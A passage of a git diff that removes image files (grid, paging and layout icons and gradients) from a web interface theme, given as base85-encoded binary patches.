P-YjR~vE{{q1_o;Y#^^iR diff --git a/public/images/default/grid/hd-pop.gif b/public/images/default/grid/hd-pop.gif deleted file mode 100644 index eb8ba79679eabb7811c3d9d1c86c43bcf67552cc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 839 zcmZ?wbhEHb_??HKjfkTCXkweD9 mfT4kbgI~?WW5NQ*7JhN9o*xBDE*)ahRw)@D7aeL~um%9t9ucMh diff --git a/public/images/default/grid/hmenu-asc.gif b/public/images/default/grid/hmenu-asc.gif deleted file mode 100644 index 8917e0eee0cdf7758e83c4cffa7a7239f72b8427..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 931 zcmeH`u}i~197Zo~Emb-ML>(No#i13!1{`|2)F4_jl^X=3LnUJzge<}>RZc~zP~kV; zB68w#pu>SnK&adpIt5*dn`7OIQ?33Dj(x+oeanNlwY^!!2PQI6AN?^vMGITlu?Sc$ zU>9uS*}igoaC}8PN`jCCnovooc75v7&|^Bl#h|GI2x(JLP!wWjlNOK|~-m_dM?T+-E!pI0dd^5l}(d@Glq_swQ5Q<6ypk{;!;VaqFyLusAH|W zI_^hNH}3WaBSr@P!$9skWgujrrQZ^Mn?RWcN@fn{AM5KVovc^P{B4D$=SroI5_&zI zNSF`DRwb35%9fAbth<-%@nxq_$~TO}IN9OvPh(dz1*g;6JvytHv(;6&xjkRcOr!mB r{VRFNa;Pe5osHT>5@ibIb~{3g+0C%lYO~3O6<&R=-|w9m23q?84YkzM diff --git a/public/images/default/grid/hmenu-desc.gif b/public/images/default/grid/hmenu-desc.gif deleted file mode 100644 index f26b7c2fc5836850958f7f2b1fafd3988a988d7a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 930 zcmeH`u}cC`9LIl>nH9kiSwcv;h)RPe4nCSX#PT4JtLbR)IJcwe#y6z#3aSf)9!+l$ z;%yxW@kSwnZWM)ZydeVHiWX}!?QdxG!)N_2ANcN;ig{#6Ai)s+7(q%#GE!y5mQ{jO zj5MrhrlNCIcT|&WCe|#b*{*J3-4-SmmeaOT%60^HIHrQgae`8gf*j^igs3uBp{hnT zopO)5V>`?=nQ1YLFxzIBGSTNY=9rB4oG{nnt~U^b3F->w3Rehk(B^L2>$m$u&+|JS zzvF-O{o!cJw7~xri2now00G#VJYn()2%o@AE8lw!UPJ@SiC{BRyCfUg+)-YByjskr zv+Ug{Ji~hAw(%`jAsUlHdvfpXd_GaEWO`qB`!@?~^gbD{hpr>BT&DZEGYhLy?xoZ; n!ca~nNw;=d4=v4s)H*Z{&Ndrqrwj#{39jU-m51Y}8o>51Tocwt diff --git a/public/images/default/grid/hmenu-lock.gif b/public/images/default/grid/hmenu-lock.gif deleted file mode 100644 index 1596126108fd99fc56226b412c6749c55ad5402b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 955 zcmZ?wbhEHb6krfwXlG#X4~ou+bjZoeOV2FG$|=q-C@C(jDlf0eD{N@b6W`Inv#*zP ze=o<1{(yu1+=nJ`ADhB`dOG8|nG9#s|^2dGCVn`{Pc*@>k~$=Pg%ddVgCO)!~fR||KBnE z|HJVAKg0iLR{x*dJ-;0I|GC%y_pblnMF0Qq{Qtk(|NlOXjV)~*Jzd>>6DCZaK7IO( z88c?ioVjUP%kt&RSFKvLYv;-0XzkU1m_xG3of4~3u@#FvBAOHXT`19w_f1o=? z!B7qX#h)z93=CNeIv`Jg@&p6N42G*5G9DWiIGRQ-bEs^3`rv@RCy$K9p(kC=rd|^` zST-*?>B_{iQlwx7E2E<(Ghbe(62oy`Y27&t0f`^nn;9J1SUxr?H8M5pwCs2h(8SWt zC8Qv+=HXHgep#c0o(mriDDdjJR6ObU=;Xr2&gPqN_0-kZOwH=MQtsX=WoB-cUnB8y dW3n5EfMAf!nn#R>TRBB^*6i?z@O5CY1_0nG4B-F( diff --git a/public/images/default/grid/hmenu-lock.png b/public/images/default/grid/hmenu-lock.png deleted file mode 100644 index 8b81e7ff284100752e155dff383c18bd00107eee..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 648 zcmV;30(bq1P)WdKHUATcr^L}hv)GB7YRATlyKF)%tYH6SZ6F)%P+<{wS~000McNliru z(*hb477vONgHQkf010qNS#tmY3h)2`3h)6!tTdPa000DMK}|sb0I`n?{9y$E00H1h zL_t(|+NDy@YZE~f{$`WrhuKPySQAA=4|-5UL@Ysj^nd8hiS;2Kdj#HUllo z8f~>&*KFH9Nwz?Ckui3oR;%3`NI(gPUDtho|G}f2_3e8bT8ASerBbE5)1bTYdcFQ| zZM?C8k+I47`6u~>51*b--wCz*ER>uRr zeV-UkHLH%}72i$a+1i|RAKlWyIlu9^60fuoN4rrzunmYfG3Rj9y^HEzZv5(CEO81y zUYkzkSk-KQ`3%0SF=Q~vI7Aru=z0O7P{Z@#ja`PhX$8v2D-^Gzc;YIGcnR19E(0MI z;kZD@0aiO(XrN-PsAlqHZzKK#l1tJ_)zheV5(%VKYS5UK?$7C;0+>qp-G76P-YrWc z5ZrIlD9FnLDKc3)8S0<dA!cTgY+CR4-a*;u;!NrNF3LWTlP5a1_; iES|Z7@j-3=)A|j?vD&^)Yn&Va00007>1uYXA>3Qh}beSb(Ur!W`$ZoRvwlh8h#GSA{v3P9MZmob1&N}#H|)3 ziyhJ(U{)KHf*@)Iy5?}L)|RKuO{O%cx#h;IvM2X1`q0Jo18y$3o31q0)ZQR~04YGX zfXCOw7l;j1uOz`;`%xPF|1H(H=TQ-Al80O7c-*kEIp@ZM``Ch}Whn7a@ zEo{qiRYg+i%R z4h#&aR4TPvt$O^~PNy46p*I)|Mx)VWGFdDZtJOL&G4XSL3{j3aZnxWK zXJ;3eLR8p^IE^@iXhU=a0)b#Kw7t0&jYea!SUet2Boc@bilUOqB;u|J|M|xX6jAAP z03n=6?Mi(Dm?nrZ^SKu7#oi7Bm%1nSA1H5qaf|0_D`c0ZeXQSbMRJ}Wp^ujFWEojX z(Y1{1lBcW8em3h3o6B)FgQ$TZv?6jQ8yMxx;o>^&qx~ghy5ef_6fHB&ac3`cuq8MD zSbdMbr>J*|b@#!#g0h@qxe*x=qGVcHY diff --git a/public/images/default/grid/hmenu-unlock.png b/public/images/default/grid/hmenu-unlock.png deleted file mode 100644 index 9dd5df34b70b94b708e862053ef4a634246acc8d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 697 zcmV;q0!ICbP)WdKHUATcr^L}hv)GB7YRATlyKF)%tYH6SZ6F)%P+<{wS~000McNliru z(*g|-5GqRX(wr!towOa3bz1}%hRS$Ze*UVXl27U>F*+kf-M;&k-s!`fDVCrZezlf>dy^3`BTW$z=L>EIW zO>?T0B!*En2q>u<@}12dniz6|2?Qm9qx{jpBiX~P{FQ(#@rTzxF``)#1i>x@j&6Pg z`g9}R!YZ+#Bpq}r3e{~P5}$S=h*)1OVUmx@SN9wqKg;4@^1P3fXJWAV73+q9*IOoT f&)vjR{Ezq!d`RXXnklE900000NkvXXu0mjfw|6I- diff --git a/public/images/default/grid/invalid_line.gif b/public/images/default/grid/invalid_line.gif deleted file mode 100644 index fb7e0f34d6231868ed2f80b6067be837e70cac44..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 815 zcmZ?wbhEHbWMN=tXlGzx_z#4mU^E0qXb33&WMKq(T?a&f@&p4150I4La9D7liGhiU G!5RR1hX@}4 diff --git a/public/images/default/grid/loading.gif b/public/images/default/grid/loading.gif deleted file mode 100644 index e846e1d6c58796558015ffee1fdec546bc207ee8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 771 zcmZ?wbhEHb6krfw*v!MQYQ=(yeQk4RPu{+D?cCXuwr^cCp}%d_ius2R?!0jBXnAQ) zOH<|l|Nj|aK=D7fpKD04vtxj(k)8oFBT!uNCkrbB0}q1^NDatX1{VJbCr|b)oWWMT zS%hVC ~NwO_yO%;SvZ5MdNYf|QNy-I*%yJaj+uTdt+qbZ z4E`Fzb8m}I&!N8OKmWEcCmrLs^Hs&3i)mt@hQVdcqghkaBs*D}tG_lKew4?rTjzIZ z9tSone1TS+TR7tu^CunG)Y7Jg#sw#)sG9C!c0I%LEzP)9;hqRf&)s$D8d5Db{TBs% zgl0~5QQ91luq4Q9tJgt4QLbaxZvAaKeCM9!oy85dg4k>TdBSVqjHub_PG=PO&J-rx z7oYTuF+kH|tG-UK+EkUhDjYx?zW?T|lx>+aOQm zzL$v$zBLo4Cj=G&tw{H}dW?tlTkS)SY4<#NS92z*EY-MMB6Ftp`R=*=*Ev7cS+X%W zMCur^FdlokL}1Y+&aasU2J4#EOuNlnb9CmqgLCGTSY!1BD42pkHY^XidQ5=>YQx%` z*%Pm9D!CkBu&tMWm(%-ejACVWGS2RX5=QOJ$1*tr7F}F+*-OA+Ly&Isg|AEuUYicA z#%IG6kPXkHt{zk2M6zK@Vu^4Q(1zE$?yY6M!^&jQ+2^E?!p7{g*|X6}vuRC3p@jk0 W117c83?+LXEZI4G$p&LV25SKE>nb+@ diff --git a/public/images/default/grid/mso-hd.gif b/public/images/default/grid/mso-hd.gif deleted file mode 100644 index 669f3cf089a61580a9d1c7632a5b1309f8d0439a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 875 zcmZ?wbhEHbWMYtKXlGzpd-4Cei~rYO`oH1Q|BaXbZ@T<{^OgTwuKwS8_5ZeO|94#b zzw`S4UDyBbzVUz0&HsCE{@-`&|NdM558VEL!C+hQ;zA>HJFm1! z#)%1x%x&D_IuR=Z8kt%-g@N({4h;>A%p3w50S6iynb`#tJSI3aHnDO`7-U>H(Adn* Pui(%j;MmmCz+epk$!Kdz diff --git a/public/images/default/grid/nowait.gif b/public/images/default/grid/nowait.gif deleted file mode 100644 index 4c5862cd554d78f20683709d0b450b67f81bd24d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 884 zcmZ?wbhEHb6k-r!XlGz>`0sG^=;33>fanOrC>RZa5f%c9KUtVTUe*B-pgh6A5y-&E zA>*-O!NDdb7MYkC1`iK4@=0rzWCSQRbnt4Ywd@dF=+rMIANR*%(jvDmG5%#TnwOp& kU}SchrxH17*#QO%<_$5P0_ncfbgjEYUKG8!(7<2~0Pia+WB>pF diff --git a/public/images/default/grid/page-first-disabled.gif b/public/images/default/grid/page-first-disabled.gif deleted file mode 100644 index 1e02c419f5e73fc1ba5770df0448d44adf856288..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 925 zcmZ?wbhEHb6krfwXlGzZPfyRu$tfx-s;H=_udjFb@6g=b+}hgO*4EbE-rn8a-P_yS z*VotI-#=;6q{)*fPnj}h=FFM1XV0EDZ{Ga*^A|2$xOnm6B}gPhY%v@z$+dw{PFR zd-v{x2M-uV!Dt8!L;Mq+#E6<8x|aFW_O4e+3))3Q*|Q=94?bWMk!6jGP<+(r$fM>Xwqe7gmNr&4?FkK$jz>EMMFb>zJ~*Z~ zvMU=|C?p6pu`gocw@ENKkig96%Ptk5a9{xwcPOV4M}k2k%Q{v@i4+D0okN>5F7xql HFjxZs_zi%( diff --git a/public/images/default/grid/page-first.gif b/public/images/default/grid/page-first.gif deleted file mode 100644 index d84f41a91fca3a0ccc1107a78ffbf7b62c527afb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 925 zcmZ?wbhEHb6krfwXlGzh@tC0DJ54uuo^j+di-h&|8QW#kzUrr(*H68ylXk-(>4ag{ zZHv4+cEz{tOYf>=ebOm>XHxXSuI{Hx{sE`lD_*51{Hrf`RNeQhe(3PuA-LgMaLe7$ z)_W1{_x-!R`FH*eYuz6C>RX^ z>V<&fPZnkd21y1TkddG~!N5_)V9X)ov0=f%X7nX_llo;Ppa!i5VLFJ8Q4$&%&Em#6pV(z;0OW5pDfG_ z46F<~Am@Pc1OrC}12>0^$A$$5o7t@;-Y_UNJMxKf6&W}lT+k*Y$eyJjc<@21kdg?` z9)m}X2f37ODg+`IICZeGskVGL@ZdlLlaQT?!H)&bz6?zAIR*(A8e5nhSgkHN9C*OQ m>dC5ipkT8?(+Va*AAy7q4&fY(0%9#)p=)k#W@Tbxum%8@3U^Ha diff --git a/public/images/default/grid/page-last.gif b/public/images/default/grid/page-last.gif deleted file mode 100644 index 3df5c2ba50b143fca7d168d5acbcc4404b903ee8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 923 zcmZ?wbhEHb6krfwXlGzh@tC0DJ54uuo^j+di-h&|8QW#kzUrr(*H68ylXk-(>4ag{ zZHv4+cEz{tOYf>=ebOm>XHxXSuI{Hx{sE`lD_*51{Hrf`RNeQhe(3PuA-LgMaLe7$ z)_W1{_x-!R`FH*eYuz6C>RX^ z>V<&fPZnkd21y1TkddG~!N5_$V9X)ov0=f%X7)sh7DeV(M==$yO&0_YC2+|IvM<}Q z@ZbVY8B+}&lf=VK2L;XIwg}8jWa;H%bG(qjsCck}M+|z`(?y z1M&eVPcU$JFtBpScx+g3u$hC^!6V}XBXb*zY)A!1phGj4Fjq*7gQ62lFOR54M?r!E kLmQ{U6cz@-#wJD`MJWvdVWq}d0_-7oPHt8|*uY>70KTb0MF0Q* diff --git a/public/images/default/grid/page-next.gif b/public/images/default/grid/page-next.gif deleted file mode 100644 index 960163530132545abe690cb8e49c5fef0f923344..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 875 zcmZ?wbhEHb6krfwXlGzh@tC0DJ54uuo^j+di-h&|8QW#kzUrr(*H68ylXk-(>4ag{ zZHv4+cEz{tOYf>=ebOm>XHxXSuI{Hx{sE`lD_*51{Hrf`RNeQhe(3PuA-LgMaLe7$ z)_W1{_x-!R`FH*eYuz6C>RX^ z>V<&fPZnkd21y1TkddG~!NB3cV9X)ov0=f%W)9;69vKr@Ionu*A5?G{Hgn3DYJ|un wK6d5q<#D`_!KiqUp-ntt3Jb$U#ts%8MWY1*!jGC}2?&SWIk{Q=U;~3S0KQg&YXATM diff --git a/public/images/default/grid/page-prev-disabled.gif b/public/images/default/grid/page-prev-disabled.gif deleted file mode 100644 index 37154d62406ddc064dba311b95f554e49ad38003..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 879 zcmZ?wbhEHb6krfwXlGzZPfyRu$tfx-s;H=_udjFb@6g=b+}hgO*4EbD-QC;U+t=4O zY0{+0lPAxdIdk5;dGqJbU$}7L;>C-XELpN*#fp_HSMJ!cW9QDDr%#{0ef##^yLTBz z!Dt8!oe)s`$->OQz{;Qlaxy4SFmU)VaC69bY*=uxnSOV diff --git a/public/images/default/grid/page-prev.gif b/public/images/default/grid/page-prev.gif deleted file mode 100644 index eb70cf8f6a3b7f524bbeb3656d875a823b27fd7c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 879 zcmZ?wbhEHb6krfwXlGzh@tC0DJ54uuo^j+di-h&|8QW#kzUrr(*H68ylXk-(>4ag{ zZHv4+cEz{tOYf>=ebOm>XHxXSuI{Hx{sE`lD_*51{Hrf`RNeQhe(3PuA-LgMaLe7$ z)_W1{_x-!R`FH*eYuz6C>RX^ z>V<&fPZnkd21y1TkddG~!NB3eV9X)ov0=f%W)AK)kBA8^Y;DZmPc|?ZI=9Q{X*oQZ zkbJD2lgIqQijPiCj2*mD6%7sx9yN0CvxS^laG;@KrlbJNftid9=jS`{vav8&0{~Hw Bh1385 diff --git a/public/images/default/grid/pick-button.gif b/public/images/default/grid/pick-button.gif deleted file mode 100644 index 6957924a8bf01f24f6930aa0213d794a3f56924d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1036 zcmZ?wbhEHbA}e@6f*BUeEG-{mbu9UVeYtn)@A#A9pQ#+`IB&@5(0= zRzH}y`r(9CPbRH>G-dUZ>1!TLU-xM0+NU$tJ)FJ%!HkVh=4^U8ck{CaTb?f6`F!=h zms^g%-go-h&Rf5C-u=Dz!SB6~|L%M6=kVF*ht9t`fBVhRyMGQn`g7pPpQDfe9DDTl z(5wGPUi>@u`u~ZCzfU~=ed^KQvyc9qee&n@+yCcY{k`z?&xIF%F1`GB>D9kWZ~k3* z`RB^(KUZJ||Ns8~&oBx`LjW}d6o0ZXGcYhR=zxSld4hrCB?B{ujK>Cr zPF^XagaZi+ome=9Dmm#SD}7El7CSA;=KXekY^RG>e-{ zuuVYm(pR@|5zQ!{2@Y3s!WlFkEt+xRKzr=&*z_|U*@qgNWbB##KVWn?)_GXn$>4`} z#Rk5^9iqw$CMLJ{owi8Xkg$-crJaR6?!tz^#b0>Dw8Q57c+l9;Af%gcqV6G6E2r=p gYaW5X0}L(q1$Yc3_9+}>;A5Sv9e-|5r2~UC0H_cnr~m)} diff --git a/public/images/default/grid/refresh-disabled.gif b/public/images/default/grid/refresh-disabled.gif deleted file mode 100644 index 607800b85e4dee8c3922d56b8666dff796603d6e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 577 zcmZ?wbhEHb6krfwcvj4C^whZzA3s&pwcWgXfA68=hmN0FxncYD+xH?8vYI<5Oq@1n z`rJi%CDj|Z?>Tku;-OBz~m8F^(Xxn=WLtiN>a=Bx$F zE?m8F;nLL!Q)l&0o9h!C(=%n(wOe=Z-ha4p+phfwkEZ5Vc1)PQY|Z9dx9>(KWnH~~ z>(S$RNmD?mv9-+Rg2I4_CJIHMaG% zPnb4+&ceq}p0)H%FR85Wo;q*Ux=pFMWe1L)nlNk8yoJkV&R?=-^RCpKQa9hQwEXgn z!pip_KJM6ec>m#J*KXY2f8^w`6Q^e`TG`P(@#U-6IYpHfO+D3(9i5ZsY}~%Lv1{Uq zvlkaGS=HV7gkm^w5Q~jme)4VU$mmSscZUz74w#^?wB~^=g*%RMb(8> z&7BjcKYH@~{)0!8XDuwKZoPH){;G{T7>EOkKUo+V7>XHmK*~XJ!oWVSp}48JrL|2t z%F8=3u&p`0Ak5C8$Vs=)FN>E?AUn<7Baf4*MT)W6--OM=GeE4bSy-LLSvqt>F{7&i zgQ&TE6Th`WhFXr2Y&0`7J9}^ww@;xYgOHm>TsTuQk6BY}E(5EeV_RmksUj;&zVVJ? zqex9(HbbrEkeHTKIc+_OAiWO?j?WH@yUQHepwOi1&dIu?>P1B(15azY1T!OpH2`<~ B4eI~^ diff --git a/public/images/default/grid/refresh.gif b/public/images/default/grid/refresh.gif deleted file mode 100644 index 110f6844b63f04ee495cb6260aadccc5c91f3245..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 977 zcmZ?wbhEHb6krfwXlGy$h}b9*vsWVToJh$rg~Ib{73bBfFRNEyRjIzARe8a@{G?U= zS=*`;&XtFqYK{lh9g^y}Bh~OmX2K7phHF|4mvmY#YBk-m>AI%V{Zwn}AFb*CO}Zah zE&Ol0{J&TG39p`WUhP-C+HU)IUUQmo-)qvfh`zI76Yqx1zV0&XfzSMxLGvGbFMQ~+ z=(Y3m{~l}q`>*>SwD@7vl2_py{zq>5pE~<)_MEHvb8Z#%9?x5TCvVmLlErrtmc7Ye z^(1@q`{eEa%QikQ+y0|u-~Un|+W)`u;QzYA|67+{YhHeP%Er5`D<5=iecZe0VgIfd z6ZSoyyYE@Yq4%wa{&t-D-*@u=lr#UQo%uiG{Quc!{>?l8fByOZOAkC-cNm zdAaJ$n+2EuFS_`D;g$bOF8yC{^Z%AJuQpuyyy5=;?RWm~z4m$Iga5mp{NMZF|DH$x z_dNZ7J^Oa?<^NmHzCC{Z^XcdR&%XSB{pru! zuYbP%{{Q3WpTGb9|NHkJ2pC4ez=eR~PZnkdh6V;5kP|?8f`MZl10$!5$A$$5)il%s zei$5ka6nGTs361eNrP~El!A@oXXa)eCC+CvI2;iHZM67s#E^NJN1wTgOT&i;3Ec;TOAjTi zTyP{|exu5jn1!2~IsF{O7w}9FI^s0Dv3!z%j9{}Lqr9=eiw8w24r1-;JbMZ*Iy$pR TTfCj3pwPfLY5NRjCI)K&rUX|l diff --git a/public/images/default/grid/row-check-sprite.gif b/public/images/default/grid/row-check-sprite.gif deleted file mode 100644 index 610116465e7e34fe6ec137d674a5a65eb44f3313..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1083 zcmZ?wbhEHbG-BXmXlGz>j-2EYIms=0ihImdkJxD*ann5GrhCOt_fD7*mN_@JU|~Yh zlH}5*DP>F3%9rQXt#bJ9;Pl_AtZj8)e}DJP-90mRO_;lP-R7O^x9r-qeb1Jidw1;K zKX>_o#p_P2-*JBTzJq)AAKI|<;`aSlckaKi>)_Qrhp!zxeDu(fW5aL2&AYd5-M(@A-tF6WZr{0c>(2e#ckkc1d++>}M|bZ(ymSA_y$28PKYDua;miAv zUOssE@WI2!4<9{x_~`M2N6#KTe)9Oq(zkK@q?aP-hU%!6+_U+q`A3uKn{Q2YOFNRSt)Ivb< zCkrzJgCK(r$l;(o!NBpKL779wW5a@j%^bpFa}I1+c({#=)o#uSgQOPDOrxwjGt!z| zdt@$e$lSc_@o^LJpjAf}JZwJMArZPP=b&Sgps8HqqLPD`kM_zs`Roai*qqK|#L3VT zF?sR}KXId?9~w-oM=!LvF0}h7u%L13YL4V{2NpVaOx6sKXt0%-%sxprU4%n}F=ee| zk7OB3V$o4<2?NtNdOnMp+}aIPI1Cb!oedm&q`N#WDjn;2s@TV#Wb?^^L6Du@WzE4m zBH2;`fg2hOC%gI1Qk$u|ta4(CLnAZyojrZEhG#jire0bj>DOw0Oe9%D!a<-Z<>RHq z%WD>VO!l0r8@nULP;YPhBrdTFH4+!k**uiX3i z{QdXWpZ@~^!zdUHf#DSbia%Kx85kHDbU@w$^aLtQ^>)SRb9SKCQ``Jr`=eVAz{OT z183VTy}$iASS#R nB^X?DXxtttx-R#(S?*zGzsXrO9p?HCdj*-f<$NLv92l$th`d^G diff --git a/public/images/default/grid/row-over.gif b/public/images/default/grid/row-over.gif deleted file mode 100644 index b288e38739ad9914b73eb32837303a11a37f354a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 823 zcmV-71IYYGNk%w1VF3Ug0EYko000010RaL60s{jB1Ox;H1qB8M1_uWR2nYxX2?+`c z3JVJh3=9kn4Gj(s4i66x5D*X%5fKs+5)%^>6ciK{6%`g178e&67#J8C85tTH8XFrM z92^`S9UUGX9v>ecARr(iAt53nA|oRsBqSsyB_$>%CMPE+C@3f?DJd!{Dl021EG#T7 zEiEoCE-x=HFfcGNF)=bSGBYzXG&D3dH8nOiHa9mnI5;>tIXOByIy*Z%JUl!-Jv}}? zK0iM{KtMo2K|w-7LPJACL_|bIMMXwNMn^|SNJvOYNl8jdN=r*iOiWBoO-)WtPESuy zP*6}&QBhJ-Qd3h?R8&+|RaI72R##V7SXfwDSy@_IT3cINTwGjTU0q&YUSD5dU|?Wj zVPRroVq;@tWMpJzWo2e&W@l$-XlQ6@X=!R|YHMq2Y;0_8ZEbFDZf|dIaBy&OadC2T za&vQYbaZreb#-=jc6WDoczAeud3kzzdV70&e0+R;eSLm@et&;|fPjF3fq{a8f`fyD zgoK2Jg@uNOhKGlTh=_=ZiHVAeii?YjjEszpjg5|uj*pLzkdTm(k&%*;l9Q8@l$4Z} zm6ev3mY0{8n3$NEnVFiJnwy)OoSdAUot>VZo}ZteprD|kp`oIpqNAguq@<*!rKP5( zrl+T;sHmu^si~@}s;jH3tgNi9t*x%EuCK4Ju&}VPv9YqUva_?Zw6wIfwY9dkwzs#p zxVX5vxw*Q!y1To(yu7@dCU$jHda z$;ryf%FD~k%*@Qq&CSlv&d<-!(9qD)(b3Y<($mw^)YR0~)z#M4*4Nk9*x1lt)=I7_<=;-L_>FMg~>g((4 z?Ck9A?d|UF?(gsK@bK{Q@$vHV^7Hfa^z`)g_4W4l_V@Sq`1ttw`T6?#`uqF){QUg= z{r&#_{{R2~A^8LV00930EC2ui0096U000OS0Po$iSC8I2dGX-ATgb4XLx%wY06VC` Bj$r@* diff --git a/public/images/default/grid/row-sel.gif b/public/images/default/grid/row-sel.gif deleted file mode 100644 index 98209e6e7f1ea8cf1ae6c1d61c49e775a37a246c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 823 zcmZ?wbhEHbWMq(KXlG!!`QrEOm%s16{{7(1pGR;1JbC};*@r(bKmL9F`S1V#{~1QX wXb24J5K#Qd0`%X11|5(uL3x6KLxe$C!6IP+Ln9*-6GOy_4GW#y85tR@0bQ{sTL1t6 diff --git a/public/images/default/grid/sort-hd.gif b/public/images/default/grid/sort-hd.gif deleted file mode 100644 index 45e545f74423d274d5ba7fd942349e9b6e377787..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1473 zcmeH`Yfn-E06_1O8OuKCZ05?;9y0{yY?;~WgRMsR$~K$2`D~d1@}bQ#*KE^FOzmNr zk4h0m5xA%*2nq5&mj9jr&@R9m?MLJ@ z28+?&*i;q2X{glmbaXwjt9hit_dI1))x{ir6L_uMFRHs`tO}FBO&#lQRo8}|J5?7Y zU`>9C$Th8w3EHL`Ba086h!(PEnZzn=+PIK2*LI5;-9YgM=D}nEMKj(5E_P-Pm7jo~EXPhgm4T&wVplL(D->;y1`B0^KR=R4S}*a1vj)fV>NEY1mB8Uq&zYI6Q%t`{**z!J+Vr;E@5~g9*=aqW{3>u}nt)+%y z;;>ng6u?b5{(;L^(y<6nxNxiv6hU01L$+fA6FPrm&HQ1X9CMc{2sC$3gd=9b3;|~m zeo4%+^eknA7SU=RVi9X;xUJr+UX-mqm<4W0%pznE9#Hd|0*@ZIv{eO*Nb# z12yCIrOhLLJlbn33DTB}t(F_b2bV4~y*j=}%v9m90(t13QX1^b_==P$D+H{5*5Mu? z8gKY>BXXf^7@!+sCzFj+>XgJsqfc(1Ya(r=#J=3 zlZtj9{~(p*xA$9X2mMtN6e0bM#^36uHAhJ9Q&;+@HQ_ThCJ=yPPcaaStzMs1DHP_0 zvw_E92pgO+s83$0SnZp{u*pvQ$A3#Rftg(VD(=52XCTzUftd4T-22$PQrgIR*gHx4 z{43C_yk?5j?(i$Mual4dFf?{<9Wn}qfaB%>iNwkdu&q!m&h2IcZ$2Th!C8}<*_&Pr zyKl`OZw8N)3D^4?RK}UoD=o00gbKYHy=yv32mZ9Dl8aIS8x^Z$2?NwcBLzFmZOtoW zzN62&u*QDIz{Fy}^YAXY&Txmg7ATSAhAr8K5fZbFZ*SFa$_qE2L|VVFHOI{wKE8B_ zGXV2p-56OO`rc4Z7g3zbj)2_3YjK$((`OUqD%*mgvS`YELYsVW1or1)YW%;)D$oE>#r zQ3z|D(W$Eg`c?NY^+fD&+nctrc25@u47U__J8-QW7NqK!$T9C@*SpuaHyFRRpIGae rj_Lao#za}+eaj_<`F9!mRdtBiaY8;H`0o(Vu;KK>|7RZkKlk|m`6vG`Jo$g|>HkYl|6hLg|LXJq z*I)d<@$&!8m;Z0Q`hVy3e}+*o8Un*81QdU=FoV3K10q0qf`LPwfssSTW5a@j%?wOD iArS@)&h5PNMll*66^^tBbH?qtQJ{FJU!IwX!5RR^E;%az diff --git a/public/images/default/layout/expand.gif b/public/images/default/layout/expand.gif deleted file mode 100644 index 7b6e1c1ef82bc36104018936848c3ebfa6e05e6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 842 zcmZ?wbhEHb`0o(Vu;KK>|7RZkKlk|m`6vG`Jo$g|>HkYl|6hLg|LXJq z*I)d<@$&!8m;Z0Q`hVy3e}+*o8Un*81QdU=FoV3K10q0qf`LPwfssSTW5a@jO^j@6 iCK3sWhnx8sU0hxiEIiaD!s-`t;^Ttj{VdE(4AubXYdZG; diff --git a/public/images/default/layout/gradient-bg.gif b/public/images/default/layout/gradient-bg.gif deleted file mode 100644 index 8134e4994f2a36da074990b94a5f17aefd378600..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1472 zcmeIx`%jZs7{KwDTLnZd*hMh7R3%&{VK|xh5d@TrMjeTpnq?_&b8`}Bh(kowLJ^R= zwLrP_Mz6F*N-1{`N?)K@6i}uD1>V*|OIv8)A|*;9JN<2c#7;i>=A7rpCpmEmrw$)U zc7mcXc@UIVGnG~gOy34*)9Li-becMyuD$~>)ERVj219+9F_Xbm-(}8ZvefrjGxzFd z?gQ+Z2W-&U2kcoQXO_sF&Em{uap$rD-W-Vsija6n4j*~Q*W?J0hYp%tpk9;bpv@I( z@`Tz)B2B(fn=b+vZGl)@(4Z|8YYQ8+MGfzZp1v;z8bNg>jk*$vu2iBclgyVj>B^es z9|O{PvUGvmyzs<9PmwK9WcqTTMPJ^kuV~R%wCXE?Ha*qBP}OFjwi~K|4nuYOVl`;T zVhzx_SPOK48f&|ZG@#o^cQDa=jErs*qsPQ}W@7f3n4r(hETGq1*K1~j_Lq?Dr%LqcFxvPW zut}by5*6B{LZvEO(+Ju$Vv_!sOuZvAc4ePkK}Mg^X|R8{wv3g3jV&Qm0~*o(w;!4zGtP^}q4TE3f=4jcq2s zNTj41IT7{z(FAgK^iIzZ@_2j+Ir8!+!Q#r@%9(ju7k_5|Ghf7eqx2?7%YoH4jP!wx7HA*Q43) zwFOW=pP6ly3pn=?dHpWVl+z~h4aA7q3Dbmfk>A9h*D=1j0=ZkaJtNDl4|Dy58=OQ4 zb=w|rEX#G|6q4dPk_gFV6VcYbmUmazi7x6i6Xb&As-j$U2PJ(S9-JDYvw05^=DZ2M z-q(%65iC7!Sf=Hfs~2MFb#cc_ASYbPO$Z9ewDx-)GFuhcxKI?v{g{Fd`2H?N2mNoG a(II?Zs7)DAnPM9b=8J95L)rdV=-9sjoxm#q diff --git a/public/images/default/layout/mini-bottom.gif 